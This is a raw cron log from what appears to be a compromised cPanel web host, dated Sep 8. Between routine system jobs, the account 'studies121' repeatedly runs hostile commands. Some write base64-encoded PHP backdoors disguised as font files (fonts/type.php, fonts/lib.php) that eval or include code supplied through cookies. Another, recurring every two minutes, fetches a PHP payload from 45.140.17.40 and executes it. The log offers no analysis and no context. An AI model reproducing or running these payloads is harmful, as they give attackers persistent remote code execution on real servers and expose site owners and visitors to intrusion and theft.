Sep  8 21:07:01 ip-184-168-122-23 CROND[24435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:07:01 ip-184-168-122-23 CROND[24436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:07:01 ip-184-168-122-23 CROND[24437]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:07:01 ip-184-168-122-23 CROND[24439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:08:01 ip-184-168-122-23 CROND[24514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:08:01 ip-184-168-122-23 CROND[24515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:08:01 ip-184-168-122-23 CROND[24516]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:08:01 ip-184-168-122-23 CROND[24517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:08:01 ip-184-168-122-23 CROND[24518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:09:01 ip-184-168-122-23 CROND[24604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:09:01 ip-184-168-122-23 CROND[24608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:09:01 ip-184-168-122-23 CROND[24607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:09:01 ip-184-168-122-23 CROND[24606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:09:01 ip-184-168-122-23 CROND[24609]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 21:10:01 ip-184-168-122-23 CROND[24703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:10:01 ip-184-168-122-23 CROND[24705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:10:01 ip-184-168-122-23 CROND[24706]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:10:01 ip-184-168-122-23 CROND[24709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:10:01 ip-184-168-122-23 CROND[24711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:10:01 ip-184-168-122-23 CROND[24707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:10:01 ip-184-168-122-23 CROND[24710]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:10:01 ip-184-168-122-23 CROND[24708]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 21:11:02 ip-184-168-122-23 CROND[24808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:11:02 ip-184-168-122-23 CROND[24810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:11:02 ip-184-168-122-23 CROND[24811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:11:02 ip-184-168-122-23 CROND[24813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:12:01 ip-184-168-122-23 CROND[24988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:12:01 ip-184-168-122-23 CROND[24989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:12:01 ip-184-168-122-23 CROND[24991]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:12:01 ip-184-168-122-23 CROND[24992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:12:01 ip-184-168-122-23 CROND[24993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:13:01 ip-184-168-122-23 CROND[25095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:13:01 ip-184-168-122-23 CROND[25097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:13:01 ip-184-168-122-23 CROND[25098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:13:01 ip-184-168-122-23 CROND[25099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:14:01 ip-184-168-122-23 CROND[25186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:14:01 ip-184-168-122-23 CROND[25188]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:14:01 ip-184-168-122-23 CROND[25189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:14:01 ip-184-168-122-23 CROND[25192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:14:01 ip-184-168-122-23 CROND[25191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:15:02 ip-184-168-122-23 CROND[25288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:15:02 ip-184-168-122-23 CROND[25291]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 21:15:02 ip-184-168-122-23 CROND[25289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:15:02 ip-184-168-122-23 CROND[25292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:15:02 ip-184-168-122-23 CROND[25294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:15:02 ip-184-168-122-23 CROND[25293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 21:16:01 ip-184-168-122-23 CROND[25383]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:16:01 ip-184-168-122-23 CROND[25386]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:16:01 ip-184-168-122-23 CROND[25385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:16:01 ip-184-168-122-23 CROND[25387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:16:01 ip-184-168-122-23 CROND[25388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:16:01 ip-184-168-122-23 CROND[25389]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 21:17:01 ip-184-168-122-23 CROND[25564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:17:01 ip-184-168-122-23 CROND[25566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:17:01 ip-184-168-122-23 CROND[25567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:17:01 ip-184-168-122-23 CROND[25568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:18:01 ip-184-168-122-23 CROND[25642]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 21:18:01 ip-184-168-122-23 CROND[25644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:18:01 ip-184-168-122-23 CROND[25646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 21:18:01 ip-184-168-122-23 CROND[25647]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 21:18:01 ip-184-168-122-23 CROND[25645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 21:19:01 ip-184-168-122-23 CROND[25745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 21:19:01 ip-184-168-122-23 CROND[25744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
